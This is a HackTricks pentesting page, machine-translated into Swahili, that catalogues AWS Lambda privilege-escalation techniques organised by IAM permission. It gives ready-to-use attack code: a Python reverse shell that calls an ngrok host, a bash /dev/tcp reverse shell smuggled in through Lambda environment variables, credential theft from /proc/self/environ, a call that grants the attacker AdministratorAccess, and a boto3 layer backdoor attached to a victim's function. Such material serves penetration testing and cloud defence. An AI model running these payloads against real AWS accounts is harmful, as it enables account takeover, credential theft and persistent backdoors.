AWS - Lambda Privesc

Support HackTricks

lambda

Maelezo zaidi kuhusu lambda katika:

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Watumiaji wenye ruhusa iam:PassRole, lambda:CreateFunction, na lambda:InvokeFunction wanaweza kuongeza mamlaka yao. Wanaweza kuunda kazi mpya ya Lambda na kuipatia jukumu la IAM lililopo, wakitoa ruhusa zinazohusiana na jukumu hilo kwa kazi hiyo. Mtumiaji anaweza kisha kuandika na kupakia msimbo kwenye kazi hii ya Lambda (kwa mfano, na rev shell). Mara kazi hiyo inapowekwa, mtumiaji anaweza kuanzisha utekelezaji wake na vitendo vilivyokusudiwa kwa kuitisha kazi ya Lambda kupitia API ya AWS. Njia hii inaruhusu mtumiaji kufanya kazi kwa njia isiyo ya moja kwa moja kupitia kazi ya Lambda, ikifanya kazi kwa kiwango cha ufikiaji kilichotolewa kwa jukumu la IAM lililohusishwa nacho.\

Mshambuliaji anaweza kutumia hii kupata rev shell na kuiba token:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Unaweza pia kutumia vibaya ruhusa za jukumu la lambda kutoka kwa kazi ya lambda yenyewe. Ikiwa jukumu la lambda lilikuwa na ruhusa za kutosha unaweza kulitumika kukupa haki za admin:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Ni pia inawezekana kuvuja akidi za jukumu la lambda bila kuhitaji muunganisho wa nje. Hii itakuwa na manufaa kwa Network isolated Lambdas zinazotumika kwenye kazi za ndani. Ikiwa kuna vikundi vya usalama visivyojulikana vinavyosafisha shell zako za kurudi, kipande hiki cha msimbo kitakuruhusu kuvuja moja kwa moja akidi kama matokeo ya lambda.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la huduma ya lambda lililoainishwa.

Kumbuka kwamba hata kama inaweza kuonekana kuvutia lambda:InvokeAsync haikubali peke yake kufanya aws lambda invoke-async, unahitaji pia lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Kama katika hali ya awali, unaweza kujipe ruhusa ya lambda:InvokeFunction ikiwa una ruhusa lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la huduma ya lambda lililobainishwa.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Watumiaji wenye ruhusa iam:PassRole, lambda:CreateFunction, na lambda:CreateEventSourceMapping (na labda dynamodb:PutItem na dynamodb:CreateTable) wanaweza kwa njia isiyo ya moja kwa moja kuinua mamlaka hata bila lambda:InvokeFunction. Wanaweza kuunda kazi ya Lambda yenye msimbo mbaya na kuipatia jukumu la IAM lililopo.

Badala ya kuitisha moja kwa moja Lambda, mtumiaji anajiandaa au anatumia meza ya DynamoDB iliyopo, akiunganisha nayo Lambda kupitia ramani ya chanzo cha tukio. Mpangilio huu unahakikisha kazi ya Lambda inasababishwa kiotomatiki wakati kipengele kipya kinapoingia kwenye meza, ama kwa kitendo cha mtumiaji au mchakato mwingine, hivyo basi kuitisha kazi ya Lambda kwa njia isiyo ya moja kwa moja na kutekeleza msimbo huo kwa ruhusa za jukumu la IAM lililopitishwa.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Ikiwa DynamoDB tayari iko hai katika mazingira ya AWS, mtumiaji tu anahitaji kuanzisha ramani ya chanzo cha tukio kwa kazi ya Lambda. Hata hivyo, ikiwa DynamoDB haitumiki, mtumiaji lazima aweze kuunda meza mpya yenye utiririshaji ulioanzishwa:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Sasa inawezekana kuunganisha kazi ya Lambda na jedwali la DynamoDB kwa kuunda ramani ya chanzo cha tukio:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Na kazi ya Lambda iliyounganishwa na mtiririko wa DynamoDB, mshambuliaji anaweza kuchochea Lambda kwa njia isiyo ya moja kwa moja kwa kuamsha mtiririko wa DynamoDB. Hii inaweza kufanywa kwa kuingiza kipengee kwenye jedwali la DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la huduma ya lambda lililotajwa.

lambda:AddPermission

Mshambuliaji mwenye ruhusa hii anaweza kujipe (au wengine) ruhusa zozote (hii inazalisha sera za msingi wa rasilimali kutoa ufikiaji wa rasilimali):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la huduma ya lambda inayotumika kwa kutoa ruhusa ya kubadilisha msimbo na kuutekeleza.

lambda:AddLayerVersionPermission

Mshambuliaji mwenye ruhusa hii anaweza kujipe mwenyewe (au wengine) ruhusa lambda:GetLayerVersion. Anaweza kufikia safu na kutafuta udhaifu au taarifa nyeti.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Madhara Yanayoweza Kutokea: Upatikanaji wa taarifa nyeti.

lambda:UpdateFunctionCode

Watumiaji wanaoshikilia ruhusa ya lambda:UpdateFunctionCode wana uwezo wa kubadilisha msimbo wa kazi ya Lambda iliyopo ambayo imeunganishwa na jukumu la IAM. Mshambuliaji anaweza kubadilisha msimbo wa lambda ili kuhamasisha akidi za IAM.

Ingawa mshambuliaji huenda hana uwezo wa moja kwa moja wa kuitisha kazi hiyo, ikiwa kazi ya Lambda tayari ipo na inafanya kazi, kuna uwezekano itasababisha kupitia mifumo au matukio yaliyopo, hivyo kusaidia kwa njia isiyo ya moja kwa moja utekelezaji wa msimbo uliobadilishwa.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la huduma ya lambda lililotumika.

lambda:UpdateFunctionConfiguration

RCE kupitia mabadiliko ya mazingira

Kwa ruhusa hizi inawezekana kuongeza mabadiliko ya mazingira ambayo yatapelekea Lambda kutekeleza msimbo usio na mipaka. Kwa mfano katika python inawezekana kutumia mabadiliko ya mazingira PYTHONWARNING na BROWSER kufanya mchakato wa python kutekeleza amri zisizo na mipaka:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Kwa lugha nyingine za skripti kuna mazingira mengine ya mabadiliko unaweza kutumia. Kwa maelezo zaidi angalia sehemu ndogo za lugha za skripti katika:

RCE kupitia Lambda Layers

Lambda Layers inaruhusu kujumuisha code katika kazi yako ya lamdba lakini kuhifadhi tofauti, hivyo msimbo wa kazi unaweza kubaki mdogo na kazi kadhaa zinaweza kushiriki msimbo.

Ndani ya lambda unaweza kuangalia njia ambazo msimbo wa python unaloadiwa kwa kutumia kazi kama ifuatayo:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Hizi ndizo sehemu:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Kwa mfano, maktaba boto3 inapakuliwa kutoka /var/runtime/boto3 (nafasi ya 4).

Ukatili

Inawezekana kutumia ruhusa lambda:UpdateFunctionConfiguration ili kuongeza safu mpya kwa kazi ya lambda. Ili kutekeleza msimbo wowote, safu hii inahitaji kuwa na maktaba ambayo lambda itakuwa inaiagiza. Ikiwa unaweza kusoma msimbo wa lambda, unaweza kuipata hii kwa urahisi, pia kumbuka kwamba inaweza kuwa inawezekana kwamba lambda tayari inatumia safu na unaweza kupakua safu hiyo na kuongeza msimbo wako humo.

Kwa mfano, hebu tuwe na dhana kwamba lambda inatumia maktaba boto3, hii itaunda safu ya ndani na toleo la mwisho la maktaba:

pip3 install -t ./lambda_layer boto3

You can open ./lambda_layer/boto3/__init__.py and ongeza backdoor katika msimbo wa kimataifa (kazi ya kutoa taarifa za kuingia au kupata shell ya kurudi kwa mfano).

Then, zip that ./lambda_layer directory and pakia tabaka jipya la lambda katika akaunti yako (au katika ya waathirika, lakini huenda usiwe na ruhusa kwa hili). Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be sawa na toleo la python linalotumika na lambda na ikiwa unalipakia kwenye akaunti yako, inahitaji kuwa katika eneo sawa:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Sasa, fanya tabaka la lambda lililopakiwa lipatikane na akaunti yoyote:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Na uambatishe safu ya lambda kwenye kazi ya lambda ya mwathiriwa:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

The next step would be to either invoke the function ourselves if we can or to wait until it gets invoked by normal means–which is the safer method.

A more stealth way to exploit this vulnerability can be found in:

Potential Impact: Direct privesc to the lambda service role used.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Labda na ruhusa hizo unaweza kuunda kazi na kuitekeleza kwa kuita URL... lakini sikuweza kupata njia ya kuijaribu, hivyo nijulishe ukifanya hivyo!

Lambda MitM

Baadhi ya lambdas zitakuwa zinapokea taarifa nyeti kutoka kwa watumiaji katika vigezo. Ikiwa unapata RCE katika moja yao, unaweza kuhamasisha taarifa nyingine watumiaji wanazotuma, angalia katika:

References

Support HackTricks

Last updated